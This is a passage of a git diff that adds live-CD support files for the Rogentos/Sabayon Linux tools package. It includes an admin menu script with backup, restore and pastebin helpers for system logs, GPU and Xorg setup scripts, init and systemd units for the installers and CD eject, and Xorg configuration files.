+        echo "/etc/X11/xorg.conf.d/* files are backed up in /etc/X11/xorg.conf.d.BKUP/"
+    else
+	echo "There's no /etc/X11/xorg.conf.d (directory) so it couldn't be backed up."
+    fi
+
+    echo ""
+    echo "INTEL graphics users please read the url below before proceding"
+    echo ""
+    echo "http://gentoo-wiki.com/HOWTO_Intel_Onboard_Graphics_Notebooks_Native_Resolution"
+}
+
+function xorg_restore
+{
+    is_root || return
+
+    echo "Are you sure? This will replace your /etc/X11/xorg.conf and /etc/X11/xorg.conf.d/*.conf."
+    echo "[Y/n]"
+    local reply
+    read reply
+    if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then
+        echo "OK, aborting."
+        return
+    fi
+
+    if [[ -f /etc/X11/xorg.conf.BKUP ]]; then
+        echo "xorg.conf backup (/etc/X11/xorg.conf.BKUP) exists, whew!"
+        cp /etc/X11/xorg.conf.BKUP /etc/X11/xorg.conf
+        echo ""
+        echo "The original xorg.conf has been restored"
+    else
+        echo "UH OH!! The backup /etc/X11/xorg.conf.BKUP hasn't been made."
+        echo "If you think you need the file, don't panic, you can copy it from the Live DVD/CD."
+    fi
+
+    echo ""
+
+    if [[ -d /etc/X11/xorg.conf.d.BKUP ]] \
+	&& (shopt -s nullglob; f=(/etc/X11/xorg.conf.d.BKUP/*.conf); [[ ${#f[*]} -ne 0 ]] )
+    then
+        echo "The backup /etc/X11/xorg.conf.d.BKUP (directory) exists and contails .conf files."
+        mkdir -p /etc/X11/xorg.conf.d
+	# similar notes as for xorg_backup, but files like .disabled are not removed
+        rm -f /etc/X11/xorg.conf.d/*.conf
+        cp /etc/X11/xorg.conf.d.BKUP/* /etc/X11/xorg.conf.d/
+        echo "Your settings are now restored to /etc/X11/xorg.conf.d/."
+    fi
+}
+
+function grub_backup
+{
+    is_root || return
+
+    echo "Note: to modify GRUB configuration, you should edit /etc/default/grub"
+    echo " or a file in /etc/grub.d and then run grub-mkconfig -o /boot/grub/grub.cfg"
+    echo " (/boot/grub/grub.cfg shouldn't be edited by hand)."
+    echo ""
+
+    if [[ -f /boot/grub/grub.cfg.BKUP ]]; then
+        echo "grub.cfg backup already exists, so the new one wasn't made."
+        echo "Now off we go to edit the file...."
+    else
+	echo "Making backup of grub.cfg as /boot/grub/grub.cfg.BKUP"
+        cp /boot/grub/grub.cfg /boot/grub/grub.cfg.BKUP
+        echo ""
+    fi
+}
+
+function grub_restore
+{
+    is_root || return
+
+    echo "Are you sure? This will replace your /boot/grub/grub.cfg."
+    echo "[Y/n]"
+    local reply
+    read reply
+    if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then
+        echo "OK, aborting."
+        return
+    fi
+
+    if [[ -f /boot/grub/grub.cfg.BKUP ]]
+    then
+        echo "grub.cfg backup (/boot/grub/grub.cfg.BKUP) exists, whew!"
+        cp /boot/grub/grub.cfg.BKUP /boot/grub/grub.cfg
+        echo ""
+        echo "The original grub.cfg has been restored"
+    else
+        echo "UH OH!! The backup script /boot/grub/grub.cfg.BKUP hasn't been made."
+        echo "Don't panic, you can use the Sabayon installer to repair GRUB."
+    fi
+}
+
+function horner
+{
+
+# Quick system info gatherer written for Sabayon GNU/Linux
+#(http://sabayonlinux.org)
+# Copyright 2008 Richard Edward Horner
+# Last modified 2008-11-26
+# Please send all comments, suggestions, bugs and patches to (rich AT
+#richhorner DOT com)
+
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+HOSTNAME=`hostname`
+RELEASE=`cat /etc/sabayon-release`
+CPU=`uname -p`
+KERNEL=`uname -r`
+KERN_ARCH=`uname -m`
+DISK=`df -lT --exclude-type=tmpfs --exclude-type=rootfs | awk 'BEGIN { total = 0; used = 0 } { if (NR > 1) { total += $3; used += $4 } } END { printf "%.1f/%.1fGB", used / 1000000, total / 1000000 }'`
+MEMORY=`cat /proc/meminfo | awk '{ if ($1 == "MemTotal:") { memtot = $2/1000 } else if ($1 == "MemFree:") { memfree = $2/1000 } } END { printf "%d/%dM", memfree, memtot }'`
+DAYS=`cat /proc/uptime | awk '{ printf "%.1f", $1/86400 }'`
+PROCS=`ps aux | awk 'END { print NR - 2 }'`
+RENDERER=`glxinfo | awk -F : '{ if ($1 == "OpenGL renderer string") print $2 }'`
+
+echo "Sysinfo for '$HOSTNAME': $RELEASE with $KERN_ARCH kernel $KERNEL
+on $CPU, HD: $DISK, MEM: $MEMORY, Renderer: $RENDERER, $PROCS procs,
+up $DAYS days"
+
+}
+
+# echo -e "\a[pastebunz debug ON]" >&2;
+# function pastebunz { sed 's/^/[pb] '/ | less; }
+
+# pastebunz seems to have some limit on max pasted lines, so this would be handy...
+function files_pastebin_linelimit
+{
+    # args: limit file_to_pastebin [file_to_pastebin] ...
+    # example: file_pastebin_linelimit 30 file1 "file name2" file3
+    # first arg: 0 means no limit
+    # By Enlik <sn at ubucentrum.net>
+    local TMPFILE=~/newbietmp
+    local LINESLIMIT
+    local LLIMIT_H
+
+    if [[ $# -le 1 ]]; then
+        echo "Error: no files to paste (in files_pastebin_linelimit)." >&2
+        return 2
+    fi
+
+    let LINESLIMIT=$1
+    shift
+    # If there is a limit of lines, we need to make space for file name and blank
+    # lines to be pasted. Otherwise we have as much space as we want.
+    if [[ $LINESLIMIT -eq 0 ]]; then
+        LLIMIT_H="+1"
+    else
+        LLIMIT_H=$(( LINESLIMIT - 3 ))
+    fi
+
+    >"$TMPFILE" || {
+        echo "Oh no! I can't create temporary file... Aborting." >&2
+        return 3
+    }
+
+    for file in "$@"; do
+        echo " --- file: $file ---"
+        echo " "
+        if [[ -r $file ]]; then
+            # This tail guarantees that LAST file name is visible (unless the limit is really small, <= 2 lines)
+            # (previous one(s) can be wiped by tail due to limit of lines).
+            # The file name is always visible if there's only one specified
+            # as argument (unless the limit value is really small, as above).
+            # All file names are always visible if there's no limit
+            # of lines, or the limit is big enough.
+            cat "$file" 2>&1 | tail -n $LLIMIT_H
+    elif [[ -e $file ]]; then
+	    echo "THIS FILE COULDN'T BE READ."
+	else
+	    echo "THIS FILE DOESN'T EXIST."
+	fi
+        echo " "
+    done >> "$TMPFILE"
+    if [[ $LINESLIMIT -eq 0 ]]; then
+        cat "$TMPFILE" | pastebunz
+    else
+        tail -n $LINESLIMIT "$TMPFILE" | pastebunz
+    fi
+    echo "** Please see the link above! **"
+
+    rm "$TMPFILE"
+    return 0
+}
+
+function files_pastebin
+{
+    files_pastebin_linelimit 0 "$@"
+}
+
+function system_pastebin
+{
+    echo -n "Please wait, it is going to take a while..."
+    local PASTE_TMP=/tmp/sabutil-tmp
+
+    >"$PASTE_TMP" || {
+	echo "Oh no! I can't create temporary file... Aborting."
+        return 1
+    }
+
+    echo "
+    sh /sbin/logscript.sh
+    " >> "$PASTE_TMP"
+    sh "/sbin/logscript.sh" >> "$PASTE_TMP"
+
+    cat "$PASTE_TMP"
+    cat "$PASTE_TMP" | pastebunz
+    echo "*** Please see the link above. ***"
+    rm "$PASTE_TMP"
+}
+
+function xorg0log_pastebin
+{
+    tail -n 150 /var/log/Xorg.0.log
+    files_pastebin_linelimit 150 /var/log/Xorg.0.log
+}
+
+function xsessionerrors_pastebin
+{
+    cat "$HOMEDIR/.xsession-errors" | tail -n 10
+    files_pastebin_linelimit 150 "$HOMEDIR/.xsession-errors"
+    if [[ $USER = "root" ]]; then
+        echo
+        echo "Notice: root's .xsession-errors file has been pasted."
+        echo "To get .xsession-errors from your regular account on which"
+        echo "you are logged using GDM, KDM or so (which is probably what you want),"
+        echo "run this script as that user, not root, or pastebin .xsession-errors"
+        echo "from YOUR home directory manually."
+        echo
+    fi
+}
+
+function dmesg_pastebin
+{
+    cat /var/log/dmesg
+    files_pastebin_linelimit 150 /var/log/dmesg
+}
+
+function grub_pastebin
+{
+    cat /boot/grub/grub.cfg
+    files_pastebin /boot/grub/grub.cfg
+}
+
+function fdisk_pastebin
+{
+    is_root || return # fdisk -l
+
+    local PASTE_TMP=/tmp/sabutil-tmp
+
+    >"$PASTE_TMP" || {
+	echo "Oh no! I can't create temporary file... Aborting."
+	return 1
+    }
+
+    (
+    echo "
+    fdisk -l
+    ";
+    fdisk -l;
+    ) > "$PASTE_TMP"
+
+    cat "$PASTE_TMP"
+    cat "$PASTE_TMP" | pastebunz
+    echo "*** Please see the link above. ***"
+    rm "$PASTE_TMP"
+}
+
+function messages_pastebin
+{
+    tail -n 150 /var/log/messages
+    files_pastebin_linelimit 150 /var/log/messages
+}
+
+function kdm_pastebin
+{
+    cat /var/log/kdm.log
+    files_pastebin_linelimit 150 /var/log/kdm.log
+}
+
+function rclog_pastebin
+{
+    if [[ -f /var/log/rc.log ]]; then
+        cat /var/log/rc.log | tail -n 10
+        files_pastebin_linelimit 150 /var/log/rc.log
+    else
+        echo "You Don't Have rc.log enabled in your /etc/rc.log"
+        echo " To enable, edit /etc/rc.log change NO to YES for rc_logger= "
+        echo ""
+    fi
+}
+
+function rcupdate_pastebin
+{
+    local PASTE_TMP=/tmp/sabutil-tmp
+
+    >"$PASTE_TMP" || {
+	echo "Oh no! I can't create temporary file... Aborting."
+	return 1
+    }
+
+    (
+    echo "
+    rc-update show
+    ";
+    rc-update show
+    ) > "$PASTE_TMP"
+
+    cat "$PASTE_TMP"
+    cat "$PASTE_TMP" | pastebunz
+    echo "*** Please see the link above. ***"
+    rm "$PASTE_TMP"
+}
+
+function xorg_pastebin
+{
+    echo "These files will be pasted (don't worry if any of them don't exist):"
+    ls -l /etc/X11/xorg.conf /etc/X11/xorg.conf.d/*
+    files_pastebin /etc/X11/xorg.conf.d/* /etc/X11/xorg.conf
+}
+
+function xorg_edit
+{
+    is_root &> /dev/null || echo "You are not root. You will only be able to view files."
+
+    local xorgfiles=() file
+    if (shopt -s nullglob; f=(/etc/X11/xorg.conf.d/*.conf); [[ ${#f[*]} -ne 0 ]] ); then
+	xorgfiles=( /etc/X11/xorg.conf.d/* ) # let's put all non-dot files; warning for non-conf is below
+    fi
+
+    if [[ -f /etc/X11/xorg.conf ]]; then
+            xorgfiles+=( /etc/X11/xorg.conf )
+    fi
+
+    if [[ ${#xorgfiles[*]} -eq 0 ]]; then
+        echo "I can't find any Xorg configuration files."
+        echo "There's no /etc/X11/xorg.conf or .conf files in /etc/X11/xorg.conf.d/ directory."
+        echo "Xorg uses autodected settings."
+    else
+        echo "These files affect your Xorg configuration."
+        echo "See http://fedoraproject.org/wiki/Input_device_configuration#xorg.conf.d for more informations."
+        echo "Select a file to edit or type q and press Enter to quit."
+        select file in "${xorgfiles[@]}"; do
+            if [[ -n $file ]]; then
+            # Not sure about files that don't start with a number and a hyphen - are they used?
+                if [[ ${file##*.} != "conf" ]]; then
+                    echo "Warning: this file has no .conf suffix and thus will be ignored by Xorg."
+                    press_enter
+                fi
+                nano -w "$file"
+                echo "Select a file to edit or type q and press Enter to quit."
+            elif [[ $REPLY = "q" || $REPLY = "Q" ]]; then
+                break
+            fi
+        done
+    fi
+}
+
+clear
+
+if [[ $1 = "menu" ]]; then
+    if [[ $EUID -ne 0 ]]; then
+        echo "This script should be run as root, or by someone in the root group. Some commands will not work for you." 1>&2
+	echo ""
+    fi
+    menu
+elif [[ $1 = "--help" || $1 = "-h" ]]; then
+    echo "usage:"
+    echo "$0 - will print some basic system infos"
+    echo "$0 menu - will show you menu"
+else
+    horner
+    echo ""
+    echo "Specify --help or -h to get help."
+ fi
diff --git a/app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser b/app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser
new file mode 100644
index 00000000..1e443171
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/vga-cmd-parser
@@ -0,0 +1,53 @@
+#!/usr/bin/python
+# Copyright 2008 Fabio Erculiani, Sabayon Linux Chief Architect
+# parses vga= parameters from cmdline given by isolinux and returns the right resolution
+# Shut up!
+
+res_map = {
+	"0x385": ("640x400",24),
+	"0x312": ("640x480",24),
+	"0x315": ("800x600",24),
+	"0x318": ("1024x768",24),
+	"0x31b": ("1280x1024",24),
+	"0x330": ("640x400",16),
+	"0x33E": ("640x400",24),
+	"0x331": ("640x480",16),
+	"0x33F": ("640x480",24),
+	"0x332": ("800x600",16),
+	"0x340": ("800x600",24),
+	"0x333": ("1024x768",16),
+	"0x341": ("1024x768",24),
+	"0x334": ("1152x864",16),
+	"0x342": ("1152x864",24),
+	"0x335": ("1280x960",16),
+	"0x343": ("1280x960",24),
+	"0x336": ("1280x1024",16),
+	"0x344": ("1280x1024",24),
+	"0x337": ("1400x1050",16),
+	"0x345": ("1400x1050",24),
+	"0x338": ("1600x1200",16),
+	"0x346": ("1600x1200",24),
+	"0x339": ("1792x1344",16),
+	"0x347": ("1792x1344",24),
+	"0x33A": ("1856x1392",16),
+	"0x348": ("1856x1392",24),
+	"0x33B": ("1920x1440",16),
+	"0x349": ("1920x1440",24),
+	"0x33C": ("2048x1536",16),
+	"0x34A": ("2048x1536",24)
+}
+
+f = open("/proc/cmdline")
+cmdline = f.readline().strip().split()
+cmdline.reverse()
+for item in cmdline:
+	if item.startswith("vga="):
+		item_split = item.split("=")
+		if len(item_split) == 2:
+			data = item_split[1]
+			try:
+				if res_map.get(data) != None:
+					print res_map[data][0],res_map[data][1]
+				break
+			except TypeError:
+				pass
diff --git a/app-misc/rogentoslive-tools/files/1.0/x-setup-configuration b/app-misc/rogentoslive-tools/files/1.0/x-setup-configuration
new file mode 100644
index 00000000..57f1688f
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/x-setup-configuration
@@ -0,0 +1,60 @@
+#!/bin/bash
+
+# get livecd functions
+source /sbin/livecd-functions.sh
+source /sbin/rogentos-functions.sh
+
+runtime_linking_proprietary_drivers() {
+	if [ -d "/lib/nvidia" ] || [ -d "/lib/fglrx" ]; then
+		current_arch=$(uname -m)
+		if [ "$current_arch" == "x86_64" ]; then
+			ld_arch="elf_x86_64"
+		elif [ "$current_arch" == "i686" ]; then
+			ld_arch="elf_i386"
+		fi
+		lspci_vga=$(lspci | grep ' VGA ')
+		mount -t tmpfs none /lib/modules/$(uname -r)/video
+		if [ -n "`echo $lspci_vga | grep -i nvidia`" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o
+			depmod -a &> /dev/null
+		elif [ -n "`echo $lspci_vga | grep -i ati`" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o
+			depmod -a &> /dev/null
+		elif [ -n "`echo $lspci_vga | grep -i unknown`" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o
+			depmod -a &> /dev/null
+		elif [ -z "$lspci_vga" ]; then
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/nvidia.ko /lib/nvidia/nvidia.o /lib/nvidia/nvidia.mod.o
+			ld -m $ld_arch -r -o /lib/modules/$(uname -r)/video/fglrx.ko /lib/fglrx/fglrx.o /lib/fglrx/fglrx.mod.o
+			depmod -a &> /dev/null
+		fi
+	fi
+}
+
+buggy_fglrx_xv_fixup_code() {
+	# This is a workaround for xv being broken
+	# on fglrx <12.2, disable Xv in xorg.conf.d
+	local workaround_file=/usr/share/rogentoslive-tools/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf
+	if [ -f "${workaround_file}" ]; then
+		is_fglrx=$(/bin/lsmod | grep ^fglrx)
+		if [ -n "${is_fglrx}" ]; then
+			cp "${workaround_file}" /usr/share/X11/xorg.conf.d
+		fi
+	fi
+}
+
+# create seed
+rm -f /etc/x-setup-configuration-running
+touch /etc/x-setup-configuration-running
+
+# Prepare Video Cards Proprietary Drivers
+if sabayon_is_live; then
+	runtime_linking_proprietary_drivers
+fi
+/sbin/gpu-configuration &> /dev/null
+
+# buggy_fglrx_xv_fixup_code
+
+# delete seed
+rm -f /etc/x-setup-configuration-running
diff --git a/app-misc/rogentoslive-tools/files/1.0/x-setup-init.d b/app-misc/rogentoslive-tools/files/1.0/x-setup-init.d
new file mode 100755
index 00000000..5b94ec94
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/x-setup-init.d
@@ -0,0 +1,68 @@
+#!/sbin/runscript
+# Copyright 2009-2012 Fabio Erculiani - Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+    after mtab
+    before hostname
+    before xdm
+}
+
+gpus_same() {
+    # $1 and $2: output lines from "lspci"
+    local id1 id2 # [xxxx:]xx:xx.x
+    local dev1 dev2 # vendor and device: xxxx:xxxx
+    id1=$(echo "$1" | awk '/ VGA / { print $1 }')
+    id2=$(echo "$2" | awk '/ VGA / { print $1 }')
+    if [ -z "$id1" ] || [ -z "$id2" ]; then
+        return 1
+    fi
+    dev1=$(lspci -s "$id1" -n | awk '{ print $3 }')
+    dev2=$(lspci -s "$id2" -n | awk '{ print $3 }')
+    [ "$dev1" = "$dev2" ]
+}
+
+start() {
+    . /sbin/rogentos-functions.sh
+    local do_redetect
+    do_redetect=$(cat /proc/cmdline | grep "gpudetect")
+
+    if sabayon_is_live; then
+        ebegin "Configuring GPU Hardware Acceleration and Input devices"
+        start-stop-daemon --start --background --pidfile /var/run/x-setup.pid --make-pidfile --exec /usr/sbin/x-setup-configuration
+        eend 0
+    else
+        if [ -e /first_time_run ] || [ ! -e /etc/gpu-detector.conf ] \
+          || [ -n "$do_redetect" ] || [ ! -f /etc/X11/xorg.conf ]; then
+            ebegin "Configuring GPU Hardware Acceleration and Input devices for the first time"
+            # store config file
+            lspci | grep ' VGA ' > /etc/gpu-detector.conf
+            /usr/sbin/x-setup-configuration
+            eend 0
+            return
+        fi
+
+        local lspci_vga stored_vga
+        local infostr_run="Configuring GPU Hardware Acceleration and Input devices"
+        local infostr_skip="Skipping GPU Hardware Acceleration and Input devices configuration"
+        lspci_vga=$(lspci | grep ' VGA ')
+        stored_vga=$(cat /etc/gpu-detector.conf)
+
+        if [ "$lspci_vga" != "$stored_vga" ] ;  then
+            # Strings are different, let's do the more "heavy" and accurate comparison.
+            if gpus_same "$lspci_vga" "$stored_vga"; then
+                # this may happen after vendor changes its name etc. and PCI ID file is updated
+                ebegin "${infostr_skip}, only updating GPU information file"
+            else
+                ebegin "$infostr_run"
+                /usr/sbin/x-setup-configuration &> /dev/null
+            fi
+
+            echo "$lspci_vga" > /etc/gpu-detector.conf
+            eend 0
+            return
+        fi
+
+        einfo "$infostr_skip"
+    fi
+}
diff --git a/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf
new file mode 100644
index 00000000..54478aa9
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-fglrx-12.1-and-older-workaround.conf
@@ -0,0 +1,4 @@
+Section "Extensions"
+	# This should be hopefully fixed in ati-drivers-12.2
+	Option "XVideo" "Disable"
+EndSection
diff --git a/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf
new file mode 100644
index 00000000..245b2458
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.d/90-synaptics.conf
@@ -0,0 +1,58 @@
+Section "InputClass"
+	Identifier "touchpad catchall"
+	Driver "synaptics"
+	MatchIsTouchpad "on"
+	MatchDevicePath "/dev/input/event*"
+
+	# No longer needed, see bug 1922#12
+	# Option "SHMConfig" "1"
+	# More harm than good? see bug 1922#12
+	# Option "MaxTapMove" "2000"
+	Option "VertEdgeScroll" "1"
+	Option "VertTwoFingerScroll" "1"
+	Option "HorizTwoFingerScroll" "1"
+	Option "CircularScrolling" "0"
+	Option "TapButton1" "1"
+	Option "TapButton2" "2"
+	Option "TapButton3" "3"
+	
+EndSection
+
+# Apple MacBook Touchpad
+Section "InputClass"
+	Identifier "touchpad catchall"
+	Driver "synaptics"
+	MatchIsTouchpad "on"
+	MatchDevicePath "/dev/input/event*"
+	MatchProduct "bcm5974"
+	Option "ClickFinger1" "1"
+	Option "ClickFinger2" "3"
+	Option "ClickFinger3" "2"
+	Option "HorizEdgeScroll" "0"
+	Option "VertEdgeScroll" "0"
+	Option "VertEdgeScroll" "1"
+	Option "VertTwoFingerScroll" "1"
+	Option "HorizTwoFingerScroll" "1"
+	Option "HorizScrollDelta" "0"
+	Option "VertScrollDelta" "40"
+	Option "PressureMotionMinZ" "10"
+	Option "FingerLow" "16"
+	Option "FingerHigh" "80"
+	Option "FingerPress" "256"
+	Option "PalmDetect" "1"
+	Option "PalmMinWidth" "10"
+	Option "PalmMinZ" "200"
+	Option "MinSpeed" "0.8"
+	Option "MaxSpeed" "1.2"
+	Option "AccelFactor" "0.10"
+	Option "MaxTapMove" "25"
+	Option "MaxTapTime" "223"
+	Option "MaxDoubleTapTime" "200"
+	Option "TapButton1" "0"
+	Option "TapButton2" "0"
+	Option "TapButton3" "0"
+	Option "RTCornerButton" "0"
+	Option "RBCornerButton" "0"
+	Option "LTCornerButton" "0"
+	Option "LBCornerButton" "0"
+EndSection
diff --git a/app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos
new file mode 100644
index 00000000..bc6135c3
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/1.0/xorg.conf.rogentos
@@ -0,0 +1,100 @@
+Section "Module"
+    SubSection  "extmod"
+       Option    "omit xfree86-dga"
+    EndSubSection
+    Load	"i2c"
+    Load	"ddc"
+    Load	"vbe"
+#   Load        "dri"
+EndSection
+
+
+Section "ServerFlags"
+     Option 	"AllowMouseOpenFail" "true"
+EndSection
+
+# **********************************************************************
+# Monitor section
+# **********************************************************************
+
+# Any number of monitor sections may be present
+
+Section "Monitor"
+    Identifier	"Generic Monitor"
+    VertRefresh 43 - 60
+    HorizSync	28 - 80
+EndSection
+
+# **********************************************************************
+# Graphics device section
+# **********************************************************************
+
+# Any number of graphics device sections may be present
+
+Section "Device"
+    Identifier  "VESA"
+    Driver      "vesa" # do not remove vesa
+    #Option "RenderAccel" "on"
+    #Option "XAANoOffscreenPixmaps"
+    #Option "BusType" "PCI"
+    #Option "ColorTiling" "on"
+    #Option "EnablePageFlip" "on"
+    Option "UseEvents" "True"
+EndSection
+
+
+# **********************************************************************
+# Screen sections.
+# **********************************************************************
+
+Section "Screen"
+
+# The Identifier, Device and Monitor lines must be present
+
+    Identifier	"Screen 1"
+    Device	"VESA"
+    Monitor	"Generic Monitor"
+    #Option "AddARGBGLXVisuals" "true"
+
+# The favoured Depth and/or Bpp may be specified here
+
+    DefaultDepth 24
+
+    SubSection "Display"
+        Depth		8
+        ViewPort	0 0
+        #Modes		"1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           16
+        ViewPort        0 0
+        #Modes		"1024x768" "800x600" "640x480"
+    EndSubsection
+
+    SubSection "Display"
+        Depth           24
+        ViewPort        0 0
+        #Modes		"1024x768" "800x600" "640x480"
+    EndSubsection
+
+
+EndSection
+
+
+Section "ServerLayout"
+# The Identifier line must be present
+
+    Identifier	"Main Layout"
+    Screen 0 	"Screen 1"
+
+EndSection
+
+Section "DRI"
+    Mode 0666
+EndSection
+
+Section "Extensions"
+   #Option "Composite" "Enable"
+EndSection
+
diff --git a/app-misc/rogentoslive-tools/files/2/bashlogin b/app-misc/rogentoslive-tools/files/2/bashlogin
new file mode 100644
index 00000000..34689189
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/bashlogin
@@ -0,0 +1,6 @@
+#!/bin/bash
+
+cat /etc/motd 2>/dev/null
+cd /root
+[[ -e .bash_profile ]] && source .bash_profile
+exec -l /bin/bash -i
diff --git a/app-misc/rogentoslive-tools/files/2/cdeject b/app-misc/rogentoslive-tools/files/2/cdeject
new file mode 100644
index 00000000..302a3415
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/cdeject
@@ -0,0 +1,11 @@
+#!/sbin/runscript
+
+description="Eject LiveCD/DVD at live system shutdown/reboot"
+
+depend() {
+	after *
+}
+
+start() {
+	/usr/libexec/cdeject.sh
+}
diff --git a/app-misc/rogentoslive-tools/files/2/cdeject.service b/app-misc/rogentoslive-tools/files/2/cdeject.service
new file mode 100644
index 00000000..96f44242
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/cdeject.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Eject CD/DVD before power off or reboot
+DefaultDependencies=no
+After=shutdown.target
+Before=final.target
+
+[Service]
+Type=oneshot
+RemainAfterExit=true
+ExecStart=/usr/libexec/cdeject.sh
+
+[Install]
+WantedBy=multi-user.target
\ No newline at end of file
diff --git a/app-misc/rogentoslive-tools/files/2/cdeject.sh b/app-misc/rogentoslive-tools/files/2/cdeject.sh
new file mode 100644
index 00000000..ae75ae84
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/cdeject.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+is_live=$(cat /proc/cmdline | grep cdroot)
+
+if [ -n "${is_live}" ]; then
+    cdrom_dev=$(cat /proc/mounts | grep " /mnt/cdrom " | cut -d" " -f 1)
+    # check if /mnt/cdrom device is a cdrom device
+    if [ "${cdrom_dev}" = /dev/sr* ] || [ "${cdrom_dev}" = /dev/cdrom* ]; then
+        eject -mp "${cdrom_dev}" &> /dev/null
+    fi
+fi
+
diff --git a/app-misc/rogentoslive-tools/files/2/installer-gui b/app-misc/rogentoslive-tools/files/2/installer-gui
new file mode 100644
index 00000000..5300726d
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/installer-gui
@@ -0,0 +1,15 @@
+#!/sbin/runscript
+# Copyright 2004-2013 Sabayon
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+	before xdm
+	after rogentoslive
+	need dbus
+}
+
+start() {
+	ebegin "Configuring the installer"
+	/usr/libexec/installer-gui.sh
+	eend $?
+}
diff --git a/app-misc/rogentoslive-tools/files/2/installer-gui.service b/app-misc/rogentoslive-tools/files/2/installer-gui.service
new file mode 100644
index 00000000..963245ca
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/installer-gui.service
@@ -0,0 +1,12 @@
+[Unit]
+Description=Sabayon installer setup
+Before=display-manager.service
+After=rogentoslive.service
+
+[Service]
+Type=oneshot
+RemainAfterExit=true
+ExecStart=/usr/libexec/installer-gui.sh
+
+[Install]
+WantedBy=multi-user.target
\ No newline at end of file
diff --git a/app-misc/rogentoslive-tools/files/2/installer-gui.sh b/app-misc/rogentoslive-tools/files/2/installer-gui.sh
new file mode 100644
index 00000000..7636678d
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/installer-gui.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+
+. /sbin/rogentos-functions.sh
+
+if rogentos_is_gui_install; then
+	rogentos_setup_autologin
+	rogentos_setup_gui_installer
+fi
diff --git a/app-misc/rogentoslive-tools/files/2/installer-text b/app-misc/rogentoslive-tools/files/2/installer-text
new file mode 100644
index 00000000..faada208
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/installer-text
@@ -0,0 +1,13 @@
+#!/sbin/runscript
+# Copyright 2004-2013 Sabayon Linux
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+	after *
+}
+
+start() {
+	ebegin "Configuring the text installer"
+	/usr/libexec/installer-text.sh
+	eend $?
+}
diff --git a/app-misc/rogentoslive-tools/files/2/installer-text.service b/app-misc/rogentoslive-tools/files/2/installer-text.service
new file mode 100644
index 00000000..be11d2b7
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/installer-text.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=Sabayon text installer setup
+After=rogentoslive.service
+
+[Service]
+Type=oneshot
+RemainAfterExit=true
+ExecStart=/usr/libexec/installer-text.sh
+
+[Install]
+WantedBy=multi-user.target
diff --git a/app-misc/rogentoslive-tools/files/2/installer-text.sh b/app-misc/rogentoslive-tools/files/2/installer-text.sh
new file mode 100644
index 00000000..8bb1262b
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/installer-text.sh
@@ -0,0 +1,7 @@
+#!/bin/bash
+
+. /sbin/rogentos-functions.sh
+
+if rogentos_is_text_install; then
+	rogentos_setup_text_installer
+fi
diff --git a/app-misc/rogentoslive-tools/files/2/livecd-functions.sh b/app-misc/rogentoslive-tools/files/2/livecd-functions.sh
new file mode 100644
index 00000000..5e0c4600
--- /dev/null
+++ b/app-misc/rogentoslive-tools/files/2/livecd-functions.sh
@@ -0,0 +1,635 @@
+#!/bin/bash
+
+# Global Variables:
+#    CDBOOT                  -- is booting off CD
+#    LIVECD_CONSOLE          -- console that is specified on commandline 
+#                            -- (ttyS0, etc) Only defined if passed to kernel
+#    LIVECD_CONSOLE_BAUD     -- console baudrate specified
+#    LIVECD_CONSOLE_PARITY   -- console parity specified
+#    LIVECD_CONSOLE_DATABITS -- console databits specified
+
+[[ ${RC_GOT_FUNCTIONS} != "yes" ]] && \
